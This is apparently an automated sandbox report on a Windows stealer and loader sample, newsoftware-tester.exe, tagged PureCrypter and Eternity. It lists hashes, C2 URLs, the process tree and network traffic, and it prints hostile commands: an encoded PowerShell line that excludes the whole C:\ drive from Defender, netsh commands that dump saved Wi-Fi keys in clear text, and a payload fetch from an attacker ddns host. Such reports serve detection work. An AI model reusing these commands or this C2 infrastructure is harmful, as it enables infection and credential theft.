Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

10

newsoftwar...er.exe

windows7-x64

10

newsoftwar...er.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    90s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/02/2023, 20:12 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    newsoftware-tester.exe

  • Size

    6KB

  • MD5

    d785e46b0d269b0578dcfd1b90375a6a

  • SHA1

    d1c4a196f24f0659c29fb05e99e690c87bf6d673

  • SHA256

    164df1aecac769eb2d9485abcb776f9ee55fc1e297c5b8b2bc50009e786d41b2

  • SHA512

    ea93bf91f0035a2996f227e04ccca718a9a470ca477e2e5af12a5180c70c62d6efcdbfd29d40e0458baa5ebdd525b5281e342ec29d01fc6fc9173a5b625704c3

  • SSDEEP

    96:673zsN+JBcMAiLt6NkIJmaI8RP4e/kvHxNezNt:oo+MOLtErRJcvb4

Score
10/10
eternitypurecryptercollectiondownloaderloaderspywarestealer

Malware Config

Extracted

Family

purecrypter

C2

http://justnormalsite.ddns.net/SystemEnv/uploads/newsoftware-tester_Ilbiekxz.png

Extracted

Family

eternity

C2

http://eternityms33k74r7iuuxfda4sqsiei3o3lbtr5cpalf6f4skszpruad.onion

Signatures

  • Eternity

    Eternity Project is a malware kit offering an info stealer, clipper, worm, coin miner, ransomware, and DDoS bot.

    eternity
  • PureCrypter

    PureCrypter is a .NET malware loader first seen in early 2021.

    loaderdownloaderpurecrypter
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
    collection
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 56 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\newsoftware-tester.exe
    "C:\Users\Admin\AppData\Local\Temp\newsoftware-tester.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4712
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ipconfig/release
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2152
      • C:\Windows\SysWOW64\ipconfig.exe
        ipconfig /release
        3⤵
        • Gathers network information
        PID:1472
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAANQAwAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1664
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -ENC cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AZQB4AGMAbAB1AHMAaQBvAG4AcABhAHQAaAAgAEMAOgBcAA==
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2868
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -ENC cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AZQB4AGMAbAB1AHMAaQBvAG4AcABhAHQAaAAgAEMAOgBcAA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3852
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ipconfig/renew
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2872
      • C:\Windows\SysWOW64\ipconfig.exe
        ipconfig /renew
        3⤵
        • Gathers network information
        PID:4668
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      2⤵
        PID:2428
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        2⤵
        • Accesses Microsoft Outlook profiles
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        • outlook_office_path
        • outlook_win_path
        PID:3580
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4248
          • C:\Windows\SysWOW64\chcp.com
            chcp 65001
            4⤵
              PID:448
            • C:\Windows\SysWOW64\netsh.exe
              netsh wlan show profile
              4⤵
                PID:4916
              • C:\Windows\SysWOW64\findstr.exe
                findstr All
                4⤵
                  PID:4724
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /C chcp 65001 && netsh wlan show profile name="65001" key=clear | findstr Key
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3668
                • C:\Windows\SysWOW64\chcp.com
                  chcp 65001
                  4⤵
                    PID:4496
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh wlan show profile name="65001" key=clear
                    4⤵
                      PID:3220
                    • C:\Windows\SysWOW64\findstr.exe
                      findstr Key
                      4⤵
                        PID:4208

                Network

                • flag-unknown
                  DNS
                  justnormalsite.ddns.net
                  newsoftware-tester.exe
                  Remote address:
                  8.8.8.8:53
                  Request
                  justnormalsite.ddns.net
                  IN A
                  Response
                  justnormalsite.ddns.net
                  IN A
                  172.245.21.202
                • flag-unknown
                  GET
                  http://justnormalsite.ddns.net/SystemEnv/uploads/newsoftware-tester_Ilbiekxz.png
                  newsoftware-tester.exe
                  Remote address:
                  172.245.21.202:80
                  Request
                  GET /SystemEnv/uploads/newsoftware-tester_Ilbiekxz.png HTTP/1.1
                  Host: justnormalsite.ddns.net
                  Connection: Keep-Alive
                  Response
                  HTTP/1.1 200 OK
                  Date: Wed, 01 Feb 2023 20:12:30 GMT
                  Server: Apache/2.4.6 (CentOS) PHP/5.4.16
                  Last-Modified: Sat, 28 Jan 2023 18:39:31 GMT
                  ETag: "284e00-5f3574d87543b"
                  Accept-Ranges: bytes
                  Content-Length: 2641408
                  Keep-Alive: timeout=5, max=100
                  Connection: Keep-Alive
                  Content-Type: image/png
                • flag-unknown
                  DNS
                  ip-api.com
                  RegAsm.exe
                  Remote address:
                  8.8.8.8:53
                  Request
                  ip-api.com
                  IN A
                  Response
                  ip-api.com
                  IN A
                  208.95.112.1
                • flag-unknown
                  GET
                  http://ip-api.com/json
                  RegAsm.exe
                  Remote address:
                  208.95.112.1:80
                  Request
                  GET /json HTTP/1.1
                  Host: ip-api.com
                  Connection: Keep-Alive
                  Response
                  HTTP/1.1 200 OK
                  Date: Wed, 01 Feb 2023 20:13:28 GMT
                  Content-Type: application/json; charset=utf-8
                  Content-Length: 305
                  Access-Control-Allow-Origin: *
                  X-Ttl: 60
                  X-Rl: 44
                • flag-unknown
                  DNS
                  t.me
                  RegAsm.exe
                  Remote address:
                  8.8.8.8:53
                  Request
                  t.me
                  IN A
                  Response
                  t.me
                  IN A
                  149.154.167.99
                • flag-unknown
                  GET
                  https://t.me/tor_proxies
                  RegAsm.exe
                  Remote address:
                  149.154.167.99:443
                  Request
                  GET /tor_proxies HTTP/1.1
                  Host: t.me
                  Connection: Keep-Alive
                  Response
                  HTTP/1.1 200 OK
                  Server: nginx/1.18.0
                  Date: Wed, 01 Feb 2023 20:13:31 GMT
                  Content-Type: text/html; charset=utf-8
                  Content-Length: 10968
                  Connection: keep-alive
                  Set-Cookie: stel_ssid=d2870f56805d9bf514_6640870139364869811; expires=Thu, 02 Feb 2023 20:13:31 GMT; path=/; samesite=None; secure; HttpOnly
                  Pragma: no-cache
                  Cache-control: no-store
                  X-Frame-Options: ALLOW-FROM https://web.telegram.org
                  Content-Security-Policy: frame-ancestors https://web.telegram.org
                  Strict-Transport-Security: max-age=35768000
                • flag-unknown
                  DNS
                  pastebin.com
                  RegAsm.exe
                  Remote address:
                  8.8.8.8:53
                  Request
                  pastebin.com
                  IN A
                  Response
                  pastebin.com
                  IN A
                  172.67.34.170
                  pastebin.com
                  IN A
                  104.20.68.143
                  pastebin.com
                  IN A
                  104.20.67.143
                • flag-unknown
                  GET
                  https://pastebin.com/raw/qz6Q5qek
                  RegAsm.exe
                  Remote address:
                  172.67.34.170:443
                  Request
                  GET /raw/qz6Q5qek HTTP/1.1
                  Host: pastebin.com
                  Connection: Keep-Alive
                  Response
                  HTTP/1.1 200 OK
                  Date: Wed, 01 Feb 2023 20:13:31 GMT
                  Content-Type: text/plain; charset=utf-8
                  Transfer-Encoding: chunked
                  Connection: keep-alive
                  x-frame-options: DENY
                  x-content-type-options: nosniff
                  x-xss-protection: 1;mode=block
                  cache-control: public, max-age=1801
                  CF-Cache-Status: MISS
                  Last-Modified: Wed, 01 Feb 2023 20:13:31 GMT
                  Server: cloudflare
                  CF-RAY: 792d59208d38b79a-AMS
                • 93.184.221.240:80
                  260 B
                   5
                • 172.245.21.202:80
                  http://justnormalsite.ddns.net/SystemEnv/uploads/newsoftware-tester_Ilbiekxz.png
                  http
                  newsoftware-tester.exe
                  87.9kB
                   2.7MB
                   1395
                  1950

                  HTTP Request

                  GET http://justnormalsite.ddns.net/SystemEnv/uploads/newsoftware-tester_Ilbiekxz.png

                  HTTP Response

                  200
                • 93.184.221.240:80
                  322 B
                   7
                • 20.189.173.1:443
                  322 B
                   7
                • 208.95.112.1:80
                  http://ip-api.com/json
                  http
                  RegAsm.exe
                  294 B
                   654 B
                   5
                  4

                  HTTP Request

                  GET http://ip-api.com/json

                  HTTP Response

                  200
                • 149.154.167.99:443
                  https://t.me/tor_proxies
                  tls, http
                  RegAsm.exe
                  939 B
                   18.0kB
                   13
                  19

                  HTTP Request

                  GET https://t.me/tor_proxies

                  HTTP Response

                  200
                • 172.67.34.170:443
                  https://pastebin.com/raw/qz6Q5qek
                  tls, http
                  RegAsm.exe
                  680 B
                   3.7kB
                   7
                  8

                  HTTP Request

                  GET https://pastebin.com/raw/qz6Q5qek

                  HTTP Response

                  200
                • 65.21.24.88:10001
                  RegAsm.exe
                  253 B
                   174 B
                   4
                  4
                • 87.248.202.1:80
                  322 B
                   7
                • 93.184.221.240:80
                  322 B
                   7
                • 8.8.8.8:53
                  justnormalsite.ddns.net
                  dns
                  newsoftware-tester.exe
                  69 B
                   85 B
                   1
                  1

                  DNS Request

                  justnormalsite.ddns.net

                  DNS Response

                  172.245.21.202

                • 8.8.8.8:53
                  ip-api.com
                  dns
                  RegAsm.exe
                  56 B
                   72 B
                   1
                  1

                  DNS Request

                  ip-api.com

                  DNS Response

                  208.95.112.1

                • 8.8.8.8:53
                  t.me
                  dns
                  RegAsm.exe
                  50 B
                   66 B
                   1
                  1

                  DNS Request

                  t.me

                  DNS Response

                  149.154.167.99

                • 8.8.8.8:53
                  pastebin.com
                  dns
                  RegAsm.exe
                  58 B
                   106 B
                   1
                  1

                  DNS Request

                  pastebin.com

                  DNS Response

                  172.67.34.170
                  104.20.68.143
                  104.20.67.143

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                  Filesize

                  1KB

                  MD5

                  4280e36a29fa31c01e4d8b2ba726a0d8

                  SHA1

                  c485c2c9ce0a99747b18d899b71dfa9a64dabe32

                  SHA256

                  e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

                  SHA512

                  494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

                  Download Submit

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                  Filesize

                  53KB

                  MD5

                  06ad34f9739c5159b4d92d702545bd49

                  SHA1

                  9152a0d4f153f3f40f7e606be75f81b582ee0c17

                  SHA256

                  474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

                  SHA512

                  c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

                  Download Submit

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  Filesize

                  16KB

                  MD5

                  1d1dbecb0757e04b446e85a5079786f9

                  SHA1

                  0deddd438e4d56671bac4013542929e9de6ca487

                  SHA256

                  3759c5ede174c4e1749f86c7ff6d9f2dd56d6c8f070cad7af043805cd1fd89fb

                  SHA512

                  fea4e02d6f535f295290065e2863b7594d97d4a8b65b709791c2a51369a7ab0e4e3a6c2625f1eeee185ad31e7dd8b67dd51887cdcabf05a6005c5e0e2d7d4e43

                  Download Submit

                • memory/1664-142-0x0000000007AB0000-0x000000000812A000-memory.dmp

                  Filesize

                  6.5MB

                  Download

                • memory/1664-139-0x0000000005AA0000-0x0000000005B06000-memory.dmp

                  Filesize

                  408KB

                  Download

                • memory/1664-140-0x0000000005C40000-0x0000000005CA6000-memory.dmp

                  Filesize

                  408KB

                  Download

                • memory/1664-141-0x0000000006250000-0x000000000626E000-memory.dmp

                  Filesize

                  120KB

                  Download

                • memory/1664-143-0x0000000006740000-0x000000000675A000-memory.dmp

                  Filesize

                  104KB

                  Download

                • memory/1664-138-0x0000000005400000-0x0000000005A28000-memory.dmp

                  Filesize

                  6.2MB

                  Download

                • memory/1664-137-0x0000000002960000-0x0000000002996000-memory.dmp

                  Filesize

                  216KB

                  Download

                • memory/3580-151-0x0000000000400000-0x000000000045A000-memory.dmp

                  Filesize

                  360KB

                  Download

                • memory/3580-161-0x0000000006A50000-0x0000000006AEC000-memory.dmp

                  Filesize

                  624KB

                  Download

                • memory/3580-153-0x00000000057F0000-0x0000000005D94000-memory.dmp

                  Filesize

                  5.6MB

                  Download

                • memory/3580-154-0x0000000005FA0000-0x0000000006032000-memory.dmp

                  Filesize

                  584KB

                  Download

                • memory/3580-160-0x0000000006500000-0x0000000006550000-memory.dmp

                  Filesize

                  320KB

                  Download

                • memory/3852-156-0x0000000007640000-0x0000000007672000-memory.dmp

                  Filesize

                  200KB

                  Download

                • memory/3852-166-0x0000000007C40000-0x0000000007CD6000-memory.dmp

                  Filesize

                  600KB

                  Download

                • memory/3852-173-0x0000000007B80000-0x0000000007B88000-memory.dmp

                  Filesize

                  32KB

                  Download

                • memory/3852-157-0x0000000072150000-0x000000007219C000-memory.dmp

                  Filesize

                  304KB

                  Download

                • memory/3852-172-0x0000000007BA0000-0x0000000007BBA000-memory.dmp

                  Filesize

                  104KB

                  Download

                • memory/3852-162-0x0000000007A10000-0x0000000007A1A000-memory.dmp

                  Filesize

                  40KB

                  Download

                • memory/3852-171-0x00000000064D0000-0x00000000064DE000-memory.dmp

                  Filesize

                  56KB

                  Download

                • memory/3852-158-0x0000000006C40000-0x0000000006C5E000-memory.dmp

                  Filesize

                  120KB

                  Download

                • memory/4712-132-0x00000000004C0000-0x00000000004C8000-memory.dmp

                  Filesize

                  32KB

                  Download

                • memory/4712-133-0x0000000006420000-0x0000000006442000-memory.dmp

                  Filesize

                  136KB

                  Download

                We care about your privacy.

                This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.